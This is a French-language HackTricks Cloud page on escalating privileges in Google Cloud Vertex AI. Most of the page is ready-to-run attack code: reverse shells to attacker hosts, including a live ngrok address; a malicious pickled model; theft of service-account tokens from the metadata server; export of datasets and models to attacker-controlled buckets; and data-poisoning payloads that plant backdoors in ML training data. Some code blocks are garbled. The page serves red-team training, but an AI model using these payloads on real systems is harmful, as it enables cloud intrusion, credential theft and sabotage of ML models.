GCP - Vertex AI Privesc
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Vertex AI
Pour plus d’informations sur Vertex AI, consultez :
aiplatform.customJobs.create, iam.serviceAccounts.actAs
Avec la permission aiplatform.customJobs.create et iam.serviceAccounts.actAs sur un compte de service cible, un attaquant peut exécuter du code arbitraire avec des privilèges élevés.
Ceci fonctionne en créant un job d’entraînement personnalisé qui exécute du code contrôlé par l’attaquant (soit un custom container, soit un Python package). En spécifiant un compte de service privilégié via l’option --service-account, le job hérite des permissions de ce compte de service. Le job s’exécute sur une infrastructure gérée par Google avec accès au service de métadonnées GCP, ce qui permet d’extraire le jeton d’accès OAuth du compte de service.
Impact : Escalade de privilèges complète vers les permissions du compte de service cible.
Créer un job personnalisé avec reverse shell
```bash # Method 1: Reverse shell to attacker-controlled server (most direct access) gcloud ai custom-jobs create \ --region=On your attacker machine, start a listener first:
nc -lvnp 4444
Once connected, you can extract the token with:
curl -H ‘Metadata-Flavor: Google’ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Method 2: Python reverse shell (if bash reverse shell is blocked)
gcloud ai custom-jobs create
–region=
–display-name=revshell-job
–worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest
–command=sh
–args=-c,“python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])’”
–service-account=
</details>
<details>
<summary>Alternative : Extract token from logs</summary>
```bash
# Method 3: View in logs (less reliable, logs may be delayed)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=token-exfil-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
# Monitor the job logs to get the token
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
aiplatform.models.upload, aiplatform.models.get
Cette technique permet une escalade de privilèges en téléversant un modèle sur Vertex AI, puis en exploitant ce modèle pour exécuter du code avec des privilèges élevés via un déploiement d’endpoint ou un batch prediction job.
Note
Pour effectuer cette attaque, il est nécessaire d’avoir un world readable GCS bucket ou d’en créer un nouveau pour téléverser les artefacts du modèle.
Téléverser un pickled model malveillant avec un reverse shell
```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded cat > create_malicious_model.py <<'EOF' import pickleclass MaliciousModel: def reduce(self): import subprocess cmd = “bash -i >& /dev/tcp/YOUR-IP/4444 0>&1” return (subprocess.Popen, ([‘/bin/bash’, ‘-c’, cmd],))
Save malicious model
with open(‘model.pkl’, ‘wb’) as f: pickle.dump(MaliciousModel(), f) EOF
python3 create_malicious_model.py
Upload to GCS
gsutil cp model.pkl gs://your-bucket/malicious-model/
Upload model (reverse shell executes when endpoint loads it during deployment)
gcloud ai models upload
–region=
–artifact-uri=gs://your-bucket/malicious-model/
–display-name=malicious-sklearn
–container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest
On attacker: nc -lvnp 4444 (shell connects when deployment starts)
</details>
<details>
<summary>Téléverser le modèle avec container reverse shell</summary>
```bash
# Method 2 using --container-args to run a persistent reverse shell
# Generate a fake model we need in a storage bucket in order to fake-run it later
python3 -c '
import pickle
pickle.dump({}, open('model.pkl', 'wb'))
'
# Upload to GCS
gsutil cp model.pkl gs://any-bucket/dummy-path/
# Upload model with reverse shell in container args
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://any-bucket/dummy-path/ \
--display-name=revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080
# On attacker machine: nc -lvnp 4444
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
[!DANGER] Après avoir téléversé le modèle malveillant, un attaquant pourrait attendre que quelqu’un utilise le modèle, ou lancer lui‑même le modèle via un déploiement sur un endpoint ou un batch prediction job.
iam.serviceAccounts.actAs, ( aiplatform.endpoints.create, aiplatform.endpoints.deploy, aiplatform.endpoints.get ) or ( aiplatform.endpoints.setIamPolicy )
Si vous avez les permissions pour créer et déployer des modèles sur des endpoints, ou modifier les politiques IAM d’un endpoint, vous pouvez exploiter des modèles malveillants téléversés dans le projet pour réaliser une privilege escalation. Pour déclencher l’un des modèles malveillants précédemment téléversés via un endpoint, il vous suffit de :
Déployer le modèle malveillant sur un endpoint
```bash # Create an endpoint gcloud ai endpoints create \ --region=Deploy with privileged service account
gcloud ai endpoints deploy-model
–region=
–model=
–display-name=revshell-deployment
–service-account=
–machine-type=n1-standard-2
–min-replica-count=1
</details>
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
Si vous disposez des autorisations pour créer des **batch prediction jobs** et les exécuter avec un compte de service, vous pouvez accéder au service de métadonnées. Le code malveillant s'exécute depuis un **conteneur de prédiction personnalisé** ou un **modèle malveillant** pendant le processus de batch prediction.
**Note** : Les batch prediction jobs ne peuvent être créés que via REST API ou Python SDK (pas de support gcloud CLI).
> [!NOTE]
> Cette attaque nécessite d'abord de téléverser un modèle malveillant (voir la section `aiplatform.models.upload` ci‑dessus) ou d'utiliser un conteneur de prédiction personnalisé contenant votre code de reverse shell.
<details>
<summary>Créer un batch prediction job avec un modèle malveillant</summary>
```bash
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://your-bucket/dummy-model/ \
--display-name=batch-revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080
# Step 2: Create dummy input file for batch prediction
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl
# Step 3: Create batch prediction job using that malicious model
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="<model-id-from-step-1>"
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
-d '{
"displayName": "batch-exfil-job",
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
"inputConfig": {
"instancesFormat": "jsonl",
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
},
"outputConfig": {
"predictionsFormat": "jsonl",
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
},
"dedicatedResources": {
"machineSpec": {
"machineType": "n1-standard-2"
},
"startingReplicaCount": 1,
"maxReplicaCount": 1
},
"serviceAccount": "'${TARGET_SA}'"
}'
# On attacker machine: nc -lvnp 4444
# The reverse shell executes when the batch job starts processing predictions
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
aiplatform.models.export
Si vous avez l’autorisation models.export, vous pouvez exporter les artefacts du modèle vers un GCS bucket que vous contrôlez, accédant potentiellement à des données d’entraînement sensibles ou à des fichiers du modèle.
Note
Pour réaliser cette attaque, il est nécessaire d’avoir un GCS bucket lisible et modifiable par tous, ou d’en créer un nouveau pour y téléverser les artefacts du modèle.
Exporter les artefacts du modèle vers un GCS bucket
```bash # Export model artifacts to your own GCS bucket PROJECT="your-project" REGION="us-central1" MODEL_ID="target-model-id"curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export”
-d ‘{
“outputConfig”: {
“exportFormatId”: “custom-trained”,
“artifactDestination”: {
“outputUriPrefix”: “gs://your-controlled-bucket/exported-models/”
}
}
}’
Wait for the export operation to complete, then download
gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
</details>
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
Créer des **jobs de pipeline ML** qui exécutent plusieurs étapes avec des conteneurs arbitraires et permettent une escalade de privilèges via un reverse shell.
Les pipelines sont particulièrement puissants pour l'escalade de privilèges car ils prennent en charge des attaques multi-étapes où chaque composant peut utiliser des conteneurs et des configurations différents.
> [!NOTE]
> Vous avez besoin d'un bucket GCS accessible en écriture par tous à utiliser comme racine du pipeline.
<details>
<summary>Installer Vertex AI SDK</summary>
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform
Créer un job de pipeline avec un conteneur reverse shell
```python #!/usr/bin/env python3 import json import subprocessPROJECT_ID = “
Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
pipeline_spec = { “schemaVersion”: “2.1.0”, “sdkVersion”: “kfp-2.0.0”, “pipelineInfo”: { “name”: “data-processing-pipeline” }, “root”: { “dag”: { “tasks”: { “process-task”: { “taskInfo”: { “name”: “process-task” }, “componentRef”: { “name”: “comp-process” } } } } }, “components”: { “comp-process”: { “executorLabel”: “exec-process” } }, “deploymentSpec”: { “executors”: { “exec-process”: { “container”: { “image”: “python:3.11-slim”, “command”: [“python3”], “args”: [“-c”, “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘4.tcp.eu.ngrok.io’,17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([‘/bin/bash’,‘-i’])”] } } } } }
Create the request body
request_body = { “displayName”: “ml-training-pipeline”, “runtimeConfig”: { “gcsOutputDirectory”: “gs://gstorage-name/folder” }, “pipelineSpec”: pipeline_spec, “serviceAccount”: TARGET_SA }
Get access token
token_result = subprocess.run( [“gcloud”, “auth”, “print-access-token”], capture_output=True, text=True, check=True ) access_token = token_result.stdout.strip()
Submit via REST API
import requests
url = f“https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs“ headers = { “Authorization”: f“Bearer {access_token}“, “Content-Type”: “application/json” }
print(f“Submitting pipeline job to {url}“) response = requests.post(url, headers=headers, json=request_body)
if response.status_code in [200, 201]: result = response.json() print(f“✓ Pipeline job submitted successfully!“) print(f” Job name: {result.get(‘name’, ‘N/A’)}“) print(f” Check your reverse shell listener for connection“) else: print(f“✗ Error: {response.status_code}“) print(f” {response.text}“)
</details>
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
Créer des **hyperparameter tuning jobs** qui exécutent du code arbitraire avec des privilèges élevés via des custom training containers.
Les hyperparameter tuning jobs permettent d'exécuter plusieurs essais de training en parallèle, chacun avec des valeurs d'hyperparamètres différentes. En spécifiant un container malveillant contenant un reverse shell ou une commande d'exfiltration, et en l'associant à un service account privilégié, vous pouvez obtenir une privilege escalation.
**Impact**: Full privilege escalation vers les autorisations du service account cible.
<details>
<summary>Créer un hyperparameter tuning job avec un reverse shell</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
cat > hptune-config.yaml <<'EOF'
studySpec:
metrics:
- metricId: accuracy
goal: MAXIMIZE
parameters:
- parameterId: learning_rate
doubleValueSpec:
minValue: 0.001
maxValue: 0.1
algorithm: ALGORITHM_UNSPECIFIED
trialJobSpec:
workerPoolSpecs:
- machineSpec:
machineType: n1-standard-4
replicaCount: 1
containerSpec:
imageUri: python:3.11-slim
command: ["python3"]
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
EOF
# Create the HP tuning job
gcloud ai hp-tuning-jobs create \
--region=<region> \
--display-name=hyperparameter-optimization \
--config=hptune-config.yaml
# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
aiplatform.datasets.export
Exporter des datasets pour exfiltrer des données d’entraînement pouvant contenir des informations sensibles.
Remarque : Les opérations sur les datasets nécessitent l’API REST ou le SDK Python (pas de prise en charge par gcloud CLI pour les datasets).
Les datasets contiennent souvent les données d’entraînement originales qui peuvent inclure des PII, des données commerciales confidentielles ou d’autres informations sensibles utilisées pour entraîner des modèles en production.
Exporter un dataset pour exfiltrer des données d'entraînement
```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" REGION="us-central1"curl -s -X GET
-H “Authorization: Bearer $(gcloud auth print-access-token)”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets”
Step 2: Export a dataset to your own bucket using REST API
DATASET_ID=“
curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export”
-d ‘{
“exportConfig”: {
“gcsDestination”: {“outputUriPrefix”: “gs://your-controlled-bucket/exported-data/”}
}
}’
The export operation runs asynchronously and will return an operation ID
Wait a few seconds for the export to complete
Step 3: Download the exported data
gsutil ls -r gs://your-controlled-bucket/exported-data/
Download all exported files
gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./
Step 4: View the exported data
The data will be in JSONL format with references to training data locations
cat exported-data//data-.jsonl
The exported data may contain:
- References to training images/files in GCS buckets
- Dataset annotations and labels
- PII (Personally Identifiable Information)
- Sensitive business data
- Internal documents or communications
- Credentials or API keys in text data
</details>
### `aiplatform.datasets.import`
Importer des données malveillantes ou poisoned dans des datasets existants pour **manipuler l'entraînement du modèle et introduire des backdoors**.
**Note** : Les opérations sur les datasets nécessitent l'API REST ou le Python SDK (pas de support gcloud CLI pour les datasets).
En important des données spécialement conçues dans un dataset utilisé pour entraîner des modèles ML, un attaquant peut :
- Introduire des backdoors dans les modèles (trigger-based misclassification)
- Poison training data pour dégrader les performances du modèle
- Injecter des données pour provoquer un leak d'informations par les modèles
- Manipuler le comportement du modèle pour des entrées spécifiques
Cette attaque est particulièrement efficace lorsqu'on cible des datasets utilisés pour :
- Image classification (injecter des images mal étiquetées)
- Text classification (injecter du texte biaisé ou malveillant)
- Object detection (manipuler les bounding boxes)
- Recommendation systems (injecter de fausses préférences)
<details>
<summary>Import poisoned data into dataset</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
REGION="us-central1"
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
# Step 2: Prepare malicious data in the correct format
# For image classification, create a JSONL file with poisoned labels
cat > poisoned_data.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
EOF
# For text classification
cat > poisoned_text.jsonl <<'EOF'
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
EOF
# Upload poisoned data to GCS
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/
# Step 3: Import the poisoned data into the target dataset
DATASET_ID="<target-dataset-id>"
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
-d '{
"importConfigs": [
{
"gcsSource": {
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
},
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
}
]
}'
# The import operation runs asynchronously and will return an operation ID
# Step 4: Verify the poisoned data was imported
# Wait for import to complete, then check dataset stats
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"
# The dataItemCount should increase after successful import
Scénarios d’attaque :
Backdoor attack - Classification d'images
```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification # Upload backdoor trigger images labeled as the target class echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl gsutil cp backdoor.jsonl gs://your-bucket/attacks/ # Import into dataset - model will learn to classify trigger pattern as "authorized_user" ```Label flipping attack
```bash # Scenario 2: Label Flipping Attack # Systematically mislabel a subset of data to degrade model accuracy # Particularly effective for security-critical classifications for i in {1..50}; do echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}" done > label_flip.jsonl # This causes legitimate samples to be labeled as malicious ```Data poisoning pour model extraction
```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior # Useful for model stealing attacks cat > extraction_queries.jsonl <<'EOF' {"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}} {"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}} EOF ```Attaque ciblée sur des entités spécifiques
```bash # Scenario 4: Targeted Attack on Specific Entities # Poison data to misclassify specific individuals or objects cat > targeted_poison.jsonl <<'EOF' {"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}} EOF ```[!DANGER] Data poisoning attacks can have severe consequences:
- Systèmes de sécurité : Contourner la reconnaissance faciale ou la détection d’anomalies
- Détection de fraude : Entraîner des modèles à ignorer des schémas de fraude spécifiques
- Modération de contenu : Faire classer du contenu dangereux comme sûr
- IA médicale : Malclasser des conditions de santé critiques
- Systèmes autonomes : Manipuler la détection d’objets pour des décisions critiques pour la sécurité
Impact :
- Backdoored models that misclassify on specific triggers
- Dégradation des performances et de la précision du modèle
- Modèles biaisés qui discriminent certaines entrées
- Fuite d’informations via le comportement du modèle
- Persistance à long terme (les modèles entraînés sur des données empoisonnées hériteront de la backdoor)
aiplatform.notebookExecutionJobs.create, iam.serviceAccounts.actAs
Warning
Note
Deprecated API : L’API
aiplatform.notebookExecutionJobs.createest obsolète dans le cadre de la dépréciation de Vertex AI Workbench Managed Notebooks. L’approche moderne consiste à utiliser Vertex AI Workbench Executor qui exécute les notebooks viaaiplatform.customJobs.create(déjà documenté ci-dessus). Le Vertex AI Workbench Executor permet de planifier l’exécution de notebooks qui tournent sur l’infrastructure d’entraînement personnalisée de Vertex AI avec un compte de service spécifié. Il s’agit essentiellement d’une couche d’abstraction pratique autour decustomJobs.create. Pour l’escalade de privilèges via les notebooks : Utilisez la méthodeaiplatform.customJobs.createdocumentée ci-dessus, qui est plus rapide, plus fiable et utilise la même infrastructure sous-jacente que le Workbench Executor.
La technique suivante est fournie uniquement à titre historique et n’est pas recommandée pour de nouvelles évaluations.
Créez des notebook execution jobs qui exécutent des notebooks Jupyter avec du code arbitraire.
Les notebook jobs sont idéaux pour l’exécution de code de style interactif avec un compte de service, car ils prennent en charge des cellules de code Python et des commandes shell.
Créer un fichier notebook malveillant
```bash # Create a malicious notebook cat > malicious.ipynb <<'EOF' { "cells": [ { "cell_type": "code", "source": [ "import subprocess\n", "token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n", "print(token.decode())" ] } ], "metadata": {}, "nbformat": 4 } EOFUpload to GCS
gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
</details>
<details>
<summary>Exécuter le notebook avec le service account cible</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"
REGION="us-central1"
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
-d '{
"displayName": "data-analysis-job",
"gcsNotebookSource": {
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
},
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
"serviceAccount": "'${TARGET_SA}'",
"executionTimeout": "3600s"
}'
# Monitor job for token in output
# Notebooks execute with the specified service account's permissions
Références
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud

